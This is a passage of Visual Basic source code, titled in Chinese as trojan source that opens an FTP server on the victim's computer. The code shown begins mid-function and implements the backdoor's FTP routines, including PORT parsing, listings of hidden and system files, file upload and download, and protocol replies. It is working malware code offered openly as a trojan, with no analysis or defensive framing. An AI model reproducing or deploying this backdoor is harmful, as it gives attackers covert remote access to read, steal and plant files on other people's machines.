frmmain.frm

另一个可以在你的计算机上开FTP服务器的木马源代码

         IPDaemon1.Connected(ConnectionID) = False

      Case "REST":
         SendReply ConnectionID, 500, "Resume don't have ... :-)"

      Case Else:
         SendReply ConnectionID, 500, "'" & cmd$ & " " & arg$ & "': command not understood."
         Dim x As Boolean
         x = gConexoes(ConnectionID).Authenticated
   End Select
   Exit Sub

ServerError:
   Dim errmsg$: errmsg$ = Error$
   SendReply ConnectionID, 500, "Server Error: " & errmsg$
   Exit Sub
End Sub

Private Sub IPDaemon1_Disconnected(ConnectionID As Integer, StatusCode As Integer, Description As String)
   gConexoes(ConnectionID).DiretorioCur = ""
   gConexoes(ConnectionID).TransferType = TYPE_BINARY
   gConexoes(ConnectionID).PortaDados = 20
   gConexoes(ConnectionID).DataAddress = ""
   gConexoes(ConnectionID).User = ""
   logado(ConnectionID) = False
   gConexoes(ConnectionID).Authenticated = False

   On Error Resume Next
      IPPort1(ConnectionID).Connected = False
      Unload IPPort1(ConnectionID)
   On Error GoTo 0
End Sub

Private Sub IPPort1_DataIn(Index As Integer, Text As String, EOL As Integer)
   Print #Index, Text;
End Sub

Private Sub IPPort1_Disconnected(Index As Integer, StatusCode As Integer, Description As String)
   Close Index
   SendReply Index, 226, "Transfer complete."
End Sub

Private Sub LocalizePath(ConnectionID As Integer, path$)
   If path$ = "" Then path$ = "/"
   If InStr(path$, "/") <> 0 Then StringReplace path$, "/", "\"
   If gConexoes(ConnectionID).DiretorioCur = "" Then gConexoes(ConnectionID).DiretorioCur = cDiretorioFTP & "\"
   If Right$(gConexoes(ConnectionID).DiretorioCur, 1) <> "\" Then gConexoes(ConnectionID).DiretorioCur = gConexoes(ConnectionID).DiretorioCur & "\"

   If Left$(path$, 1) = "\" Then
      path$ = gConexoes(ConnectionID).DiretorioCur & Right$(path$, Len(path$) - 1)
   Else
      path$ = gConexoes(ConnectionID).DiretorioCur & path$
   End If
End Sub

Private Function ParsePortArgs(ConnectionID As Integer, arg$) As Integer
   On Error GoTo PortParseError

   Dim i%, tok$, addr$, port&, args$
   args$ = arg$
   ParsePortArgs = False

   tok$ = GetToken(args$, ",")
   If tok$ = "" Or CInt(tok$) < 0 Or CInt(tok$) > 255 Then Exit Function
   addr$ = tok$

   tok$ = GetToken(args$, ",")
   If tok$ = "" Or CInt(tok$) < 0 Or CInt(tok$) > 255 Then Exit Function
   addr$ = addr$ & "." & tok$

   tok$ = GetToken(args$, ",")
   If tok$ = "" Or CInt(tok$) < 0 Or CInt(tok$) > 255 Then Exit Function
   addr$ = addr$ & "." & tok$

   tok$ = GetToken(args$, ",")
   If tok$ = "" Or CInt(tok$) < 0 Or CInt(tok$) > 255 Then Exit Function
   addr$ = addr$ & "." & tok$

   tok$ = GetToken(args$, ",")
   If tok$ = "" Or CInt(tok$) < 0 Or CInt(tok$) > 255 Then Exit Function
   port& = CInt(tok$)

   tok$ = args$
   If tok$ = "" Or CInt(tok$) < 0 Or CInt(tok$) > 255 Then Exit Function
   port& = CInt(tok$) + 256 * port&

   gConexoes(ConnectionID).DataAddress = addr$
   gConexoes(ConnectionID).PortaDados = port&
   ParsePortArgs = True
   Exit Function

PortParseError:
   ParsePortArgs = False
   Exit Function
End Function

Private Sub ReceiveFile(ConnectionID As Integer, FileName$)
   On Error Resume Next
      Load IPPort1(ConnectionID)
   On Error GoTo 0

   Open FileName$ For Output Access Write As ConnectionID

   SendReply ConnectionID, 150, "Opening data connection."
   IPPort1(ConnectionID).WinsockLoaded = True
   IPPort1(ConnectionID).MaxLineLength = 16384
   IPPort1(ConnectionID).RemoteHost = gConexoes(ConnectionID).DataAddress
   IPPort1(ConnectionID).RemotePort = gConexoes(ConnectionID).PortaDados
   IPPort1(ConnectionID).Connected = True

   Dim After10Seconds: After10Seconds = Now + 10# / (3600# * 24#)
   Do Until Now > After10Seconds
      If IPPort1(ConnectionID).Connected Then Exit Do
      DoEvents
   Loop
   If Not IPPort1(ConnectionID).Connected Then
      SendReply ConnectionID, 425, "Can't open data connection."
      Close ConnectionID
      Exit Sub
   End If
End Sub

Private Sub SendDataLine(ConnectionID As Integer, Text As String)
   On Error GoTo DFlowControl

   Text = Text & Chr$(13) & Chr$(10)
   IPPort1(ConnectionID).DataToSend = Text
   DoEvents
   Exit Sub

DFlowControl:
   If Err = 25036 Then
      Dim BytesSent%: BytesSent% = IPPort1(ConnectionID).BytesSent
      If BytesSent% > 0 Then Text = Mid$(Text, BytesSent% + 1)

      DoEvents
      Resume
   End If
   Exit Sub
End Sub

Private Sub SendDir(ConnectionID As Integer, path$)
   ChDrive Left$(cDiretorioFTP, 3)
   ChDir gConexoes(ConnectionID).DiretorioCur
   If Right$(path$, 2) = "\\" Then
      path$ = Left$(path$, Len(path$) - 1)
   Else
      StringReplace path$, "\\", "\"
   End If
   Dim FileName$: FileName$ = Dir(path$, vbNormal Or vbHidden Or vbSystem Or vbDirectory Or vbArchive)

   On Error Resume Next
      Load IPPort1(ConnectionID)
   On Error GoTo 0

   SendReply ConnectionID, 150, "Opening data connection."
   IPPort1(ConnectionID).WinsockLoaded = True
   IPPort1(ConnectionID).RemoteHost = gConexoes(ConnectionID).DataAddress
   IPPort1(ConnectionID).RemotePort = gConexoes(ConnectionID).PortaDados
   IPPort1(ConnectionID).Connected = True

   Dim After10Seconds: After10Seconds = Now + 10# / (3600# * 24#)
   Do Until Now > After10Seconds
      If IPPort1(ConnectionID).Connected Then Exit Do
      DoEvents
   Loop
   If Not IPPort1(ConnectionID).Connected Then
      SendReply ConnectionID, 425, "Can't open data connection."
      Exit Sub
   End If

   On Error GoTo DirError

   Do While FileName$ <> ""
       If FileName$ <> "." And FileName$ <> ".." Then
           SendDataLine ConnectionID, FileName$
       End If
       FileName$ = Dir
   Loop

   IPPort1(ConnectionID).Connected = False
   Exit Sub

DirError:
   If Err = 70 Or Err = 5 Then FileName$ = Dir: Resume
   Error Err
End Sub

Private Sub SendDirLong(ConnectionID As Integer, path$)
   ChDrive Left$(cDiretorioFTP, 3)
   ChDir gConexoes(ConnectionID).DiretorioCur
   If Right$(path$, 2) = "\\" Then
      path$ = Left$(path$, Len(path$) - 1)
   Else
      StringReplace path$, "\\", "\"
   End If
   Dim FileName$: FileName$ = Dir(path$, vbNormal Or vbHidden Or vbSystem Or vbDirectory Or vbArchive)

   On Error Resume Next
      Load IPPort1(ConnectionID)
   On Error GoTo 0

   SendReply ConnectionID, 150, "Opening data connection."
   IPPort1(ConnectionID).WinsockLoaded = True
   IPPort1(ConnectionID).RemoteHost = gConexoes(ConnectionID).DataAddress
   IPPort1(ConnectionID).RemotePort = gConexoes(ConnectionID).PortaDados
   IPPort1(ConnectionID).Connected = True

   Dim After10Seconds: After10Seconds = Now + 10# / (3600# * 24#)
   Do Until Now > After10Seconds
      If IPPort1(ConnectionID).Connected Then Exit Do
      DoEvents
   Loop
   If Not IPPort1(ConnectionID).Connected Then
      SendReply ConnectionID, 425, "Can't open data connection."
      Exit Sub
   End If

   On Error GoTo DirLongError
   If Right$(gConexoes(ConnectionID).DiretorioCur, 1) = "\" Then
      gConexoes(ConnectionID).DiretorioCur = Left$(gConexoes(ConnectionID).DiretorioCur, Len(gConexoes(ConnectionID).DiretorioCur) - 1)
   End If
   Do While FileName$ <> ""
      If FileName$ <> "." And FileName$ <> ".." Then
         Dim entry$: entry$ = "-rwxr-xr-x"
         Dim FullPath$: FullPath$ = gConexoes(ConnectionID).DiretorioCur & "\" & FileName$
         If GetAttr(FullPath$) And 16 Then
            Mid$(entry$, 1, 1) = "d"
         End If
         entry$ = entry$ & "   1 ftpuser  ftpusers"
         If FileLen(FullPath$) = 0 Then
            entry$ = entry$ & Format$(1024, "@@@@@@@@@@ ")
         Else
            entry$ = entry$ & Format$(FileLen(FullPath$), "@@@@@@@@@@ ")
         End If
         entry$ = entry$ & Data(FullPath$)
         entry$ = entry$ & FileName$
         SendDataLine ConnectionID, entry$
      End If
      FileName$ = Dir
   Loop

   IPPort1(ConnectionID).Connected = False
   Exit Sub

DirLongError:
   If Err = 70 Or Err = 5 Then FileName$ = Dir: Resume
   Error Err
End Sub

Private Sub SendFile(ConnectionID As Integer, FileName$)
   On Error Resume Next
      Load IPPort1(ConnectionID)
   On Error GoTo 0

   Open FileName$ For Binary As ConnectionID

   SendReply ConnectionID, 150, "Opening data connection."
   IPPort1(ConnectionID).WinsockLoaded = True
   IPPort1(ConnectionID).RemoteHost = gConexoes(ConnectionID).DataAddress
   IPPort1(ConnectionID).RemotePort = gConexoes(ConnectionID).PortaDados
   IPPort1(ConnectionID).Connected = True

   Dim After10Seconds: After10Seconds = Now + 10# / (3600# * 24#)
   Do Until Now > After10Seconds
      If IPPort1(ConnectionID).Connected Then Exit Do
      DoEvents
   Loop
   If Not IPPort1(ConnectionID).Connected Then
      SendReply ConnectionID, 425, "Can't open data connection."
      Exit Sub
   End If

   On Error GoTo SendFileFlowControl

   Dim Text$, ChunkSize: ChunkSize = 16384
   Dim BytesToRead: BytesToRead = FileLen(FileName$)

   Do While BytesToRead > 0
      If BytesToRead < ChunkSize Then
         Text$ = Input(BytesToRead, ConnectionID)
         BytesToRead = 0
      Else
         Text$ = Input(ChunkSize, ConnectionID)
         BytesToRead = BytesToRead - ChunkSize
      End If
      IPPort1(ConnectionID).DataToSend = Text$
   Loop

   IPPort1(ConnectionID).Connected = False
   Exit Sub

SendFileFlowControl:
   If Err = 25036 Then
      Dim BytesSent%: BytesSent% = IPPort1(ConnectionID).BytesSent
      If BytesSent% > 0 Then Text$ = Mid$(Text$, BytesSent% + 1)

      DoEvents
      Resume
   End If

   Dim ErrSave: ErrSave = Err
   Close ConnectionID

   Error ErrSave
   Exit Sub
End Sub

Private Sub SendLine(ConnectionID As Integer, Text As String)
   On Error GoTo FlowControl

   Text = Text & Chr$(13) & Chr$(10)
   IPDaemon1.DataToSend(ConnectionID) = Text

   DoEvents
   Exit Sub

FlowControl:
   If Err = 25036 Then
      Dim BytesSent%: BytesSent% = IPDaemon1.BytesSent(ConnectionID)
      If BytesSent% > 0 Then Text = Mid$(Text, BytesSent% + 1)

      DoEvents
      Resume
   End If
   Exit Sub
End Sub

Private Sub SendReply(ConnectionID As Integer, Code As Integer, Text As String)
   Text = Format$(Code, "000") & " " & Text
   SendLine ConnectionID, Text
End Sub

Private Sub StringReplace(Text$, cfrom$, cto$)
   Dim i%
   i% = InStr(Text$, cfrom$)

   Do While i% > 0
       Mid$(Text$, i%, 1) = cto$
       i% = InStr(Text$, cfrom$)
   Loop
End Sub